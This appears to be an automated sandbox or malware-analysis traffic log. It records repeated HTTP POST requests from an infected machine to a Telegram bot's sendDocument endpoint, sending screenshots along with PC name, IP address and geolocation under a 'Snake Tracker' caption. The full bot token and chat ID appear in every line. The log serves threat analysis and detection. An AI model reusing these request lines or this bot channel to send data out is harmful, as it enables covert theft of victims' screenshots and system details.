Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd525e1c589f1cHost: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5236b62b17e5Host: api.telegram.orgContent-Length: 708871
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5271ba01f352Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd524bc8e55afbHost: api.telegram.orgContent-Length: 708871
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5287e31eb585Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd52621a53558fHost: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd529f469c46cfHost: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd527858d8e06dHost: api.telegram.orgContent-Length: 708871
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd52b54d4321b1Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd52926ced3f6fHost: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd52e126516bcaHost: api.telegram.orgContent-Length: 708871
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd52ab19b3a220Host: api.telegram.orgContent-Length: 709019Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd52f5b3c3d196Host: api.telegram.orgContent-Length: 709019Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd52baa27237deHost: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd531094a8e31dHost: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd52d32761eedeHost: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd532a1929ec59Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd52ee25ccbe96Host: api.telegram.orgContent-Length: 709301Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd534b2a82ce6fHost: api.telegram.orgContent-Length: 709035Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd53067cb44c72Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd536ad406e147Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5323d71b77e3Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5389207e2af1Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd53425b214fa7Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd53b025be574fHost: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5365d6eb9d0eHost: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd53d84a6f0a7bHost: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd53ff101227c7Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5386acd74a6bHost: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd543714563e9dHost: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:25%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd53b66f190127Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5464fb1a232bHost: api.telegram.orgContent-Length: 709261Connection: Keep-Alive
